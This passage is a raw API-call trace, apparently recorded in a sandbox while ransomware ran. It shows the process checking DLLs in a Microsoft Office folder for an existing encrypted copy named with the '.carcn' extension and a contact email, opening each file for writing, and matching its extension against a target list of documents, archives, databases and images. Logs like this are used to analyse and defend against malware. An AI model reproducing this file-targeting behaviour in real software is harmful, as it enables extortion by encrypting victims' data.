0x414 [0254.532] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19648) returned 1 [0254.532] CloseHandle (hObject=0x414) returned 1 [0254.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0254.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0254.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0254.532] lstrlenW (lpString=".doc") returned 4 [0254.532] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.532] lstrlenW (lpString=".docx") returned 5 [0254.532] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.532] lstrlenW (lpString=".pdf") returned 4 [0254.533] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.533] lstrlenW (lpString=".xls") returned 4 [0254.533] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.533] lstrlenW (lpString=".xlsx") returned 5 [0254.533] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.533] lstrlenW (lpString=".ppt") returned 4 [0254.533] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0254.533] lstrlenW (lpString=".zip") returned 4 [0254.533] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.533] lstrlenW (lpString=".rar") returned 4 [0254.533] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.533] lstrlenW (lpString=".bz2") returned 4 [0254.533] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.533] lstrlenW (lpString=".7z") returned 3 [0254.533] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0254.533] lstrlenW (lpString=".dbf") returned 4 [0254.533] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0254.533] lstrlenW (lpString=".1cd") returned 4 [0254.533] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0254.533] lstrlenW (lpString=".jpg") returned 4 [0254.533] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0254.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0254.534] lstrlenW (lpString=".doc") returned 4 [0254.534] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.534] lstrlenW (lpString=".docx") returned 5 [0254.534] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.534] lstrlenW (lpString=".pdf") returned 4 [0254.534] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.534] lstrlenW (lpString=".xls") returned 4 [0254.534] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.534] lstrlenW (lpString=".xlsx") returned 5 [0254.534] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.534] lstrlenW (lpString=".ppt") returned 4 [0254.534] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0254.534] lstrlenW (lpString=".zip") returned 4 [0254.534] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.534] lstrlenW (lpString=".rar") returned 4 [0254.534] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.534] lstrlenW (lpString=".bz2") returned 4 [0254.534] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.534] lstrlenW (lpString=".7z") returned 3 [0254.534] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0254.534] lstrlenW (lpString=".dbf") returned 4 [0254.534] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0254.535] lstrlenW (lpString=".1cd") returned 4 [0254.535] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0254.535] lstrlenW (lpString=".jpg") returned 4 [0254.535] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.535] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0254.535] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0254.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0254.535] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19136) returned 1 [0254.535] CloseHandle (hObject=0x414) returned 1 [0254.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0254.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0254.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0254.536] lstrlenW (lpString=".doc") returned 4 [0254.536] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.536] lstrlenW (lpString=".docx") returned 5 [0254.536] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.536] lstrlenW (lpString=".pdf") returned 4 [0254.536] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.536] lstrlenW (lpString=".xls") returned 4 [0254.536] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.536] lstrlenW (lpString=".xlsx") returned 5 [0254.536] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.536] lstrlenW (lpString=".ppt") returned 4 [0254.537] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0254.537] lstrlenW (lpString=".zip") returned 4 [0254.537] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.537] lstrlenW (lpString=".rar") returned 4 [0254.537] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.537] lstrlenW (lpString=".bz2") returned 4 [0254.537] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.537] lstrlenW (lpString=".7z") returned 3 [0254.537] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0254.537] lstrlenW (lpString=".dbf") returned 4 [0254.537] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0254.537] lstrlenW (lpString=".1cd") returned 4 [0254.537] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0254.537] lstrlenW (lpString=".jpg") returned 4 [0254.537] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0254.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0254.537] lstrlenW (lpString=".doc") returned 4 [0254.537] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.537] lstrlenW (lpString=".docx") returned 5 [0254.537] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.538] lstrlenW (lpString=".pdf") returned 4 [0254.538] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.538] lstrlenW (lpString=".xls") returned 4 [0254.538] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.538] lstrlenW (lpString=".xlsx") returned 5 [0254.538] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.538] lstrlenW (lpString=".ppt") returned 4 [0254.538] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0254.538] lstrlenW (lpString=".zip") returned 4 [0254.538] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.538] lstrlenW (lpString=".rar") returned 4 [0254.538] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.538] lstrlenW (lpString=".bz2") returned 4 [0254.538] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.538] lstrlenW (lpString=".7z") returned 3 [0254.538] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0254.538] lstrlenW (lpString=".dbf") returned 4 [0254.538] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0254.538] lstrlenW (lpString=".1cd") returned 4 [0254.538] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0254.538] lstrlenW (lpString=".jpg") returned 4 [0254.538] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.539] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0254.539] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0254.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0254.540] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=27840) returned 1 [0254.540] CloseHandle (hObject=0x414) returned 1 [0254.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0254.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0254.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0254.541] lstrlenW (lpString=".doc") returned 4 [0254.541] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.541] lstrlenW (lpString=".docx") returned 5 [0254.541] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.541] lstrlenW (lpString=".pdf") returned 4 [0254.541] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.541] lstrlenW (lpString=".xls") returned 4 [0254.541] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.541] lstrlenW (lpString=".xlsx") returned 5 [0254.541] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.541] lstrlenW (lpString=".ppt") returned 4 [0254.541] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0254.541] lstrlenW (lpString=".zip") returned 4 [0254.541] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.541] lstrlenW (lpString=".rar") returned 4 [0254.541] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.541] lstrlenW (lpString=".bz2") returned 4 [0254.541] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.541] lstrlenW (lpString=".7z") returned 3 [0254.541] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0254.541] lstrlenW (lpString=".dbf") returned 4 [0254.541] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0254.541] lstrlenW (lpString=".1cd") returned 4 [0254.541] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0254.542] lstrlenW (lpString=".jpg") returned 4 [0254.542] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0254.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0254.542] lstrlenW (lpString=".doc") returned 4 [0254.542] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.542] lstrlenW (lpString=".docx") returned 5 [0254.542] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.542] lstrlenW (lpString=".pdf") returned 4 [0254.542] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.542] lstrlenW (lpString=".xls") returned 4 [0254.542] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.542] lstrlenW (lpString=".xlsx") returned 5 [0254.542] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.542] lstrlenW (lpString=".ppt") returned 4 [0254.542] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0254.542] lstrlenW (lpString=".zip") returned 4 [0254.542] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.542] lstrlenW (lpString=".rar") returned 4 [0254.542] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.542] lstrlenW (lpString=".bz2") returned 4 [0254.542] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.542] lstrlenW (lpString=".7z") returned 3 [0254.542] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0254.543] lstrlenW (lpString=".dbf") returned 4 [0254.543] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0254.543] lstrlenW (lpString=".1cd") returned 4 [0254.543] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0254.543] lstrlenW (lpString=".jpg") returned 4 [0254.543] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.543] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0254.543] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0254.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0254.544] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=26816) returned 1 [0254.544] CloseHandle (hObject=0x414) returned 1 [0254.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0254.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0254.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0254.544] lstrlenW (lpString=".doc") returned 4 [0254.544] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.544] lstrlenW (lpString=".docx") returned 5 [0254.544] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.544] lstrlenW (lpString=".pdf") returned 4 [0254.544] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.544] lstrlenW (lpString=".xls") returned 4 [0254.544] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.544] lstrlenW (lpString=".xlsx") returned 5 [0254.545] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.545] lstrlenW (lpString=".ppt") returned 4 [0254.545] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0254.545] lstrlenW (lpString=".zip") returned 4 [0254.545] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.545] lstrlenW (lpString=".rar") returned 4 [0254.545] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.545] lstrlenW (lpString=".bz2") returned 4 [0254.545] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.545] lstrlenW (lpString=".7z") returned 3 [0254.545] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0254.545] lstrlenW (lpString=".dbf") returned 4 [0254.545] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0254.545] lstrlenW (lpString=".1cd") returned 4 [0254.545] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0254.545] lstrlenW (lpString=".jpg") returned 4 [0254.545] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0254.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0254.545] lstrlenW (lpString=".doc") returned 4 [0254.545] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.546] lstrlenW (lpString=".docx") returned 5 [0254.546] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.546] lstrlenW (lpString=".pdf") returned 4 [0254.546] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.546] lstrlenW (lpString=".xls") returned 4 [0254.546] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.546] lstrlenW (lpString=".xlsx") returned 5 [0254.546] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.546] lstrlenW (lpString=".ppt") returned 4 [0254.546] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0254.546] lstrlenW (lpString=".zip") returned 4 [0254.546] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.546] lstrlenW (lpString=".rar") returned 4 [0254.546] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.546] lstrlenW (lpString=".bz2") returned 4 [0254.546] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.546] lstrlenW (lpString=".7z") returned 3 [0254.546] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0254.546] lstrlenW (lpString=".dbf") returned 4 [0254.546] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0254.546] lstrlenW (lpString=".1cd") returned 4 [0254.546] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0254.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0254.547] lstrlenW (lpString=".jpg") returned 4 [0254.547] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0254.547] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0254.547] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0254.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0254.547] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=70848) returned 1 [0254.547] CloseHandle (hObject=0x414) returned 1 [0254.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0254.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0254.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 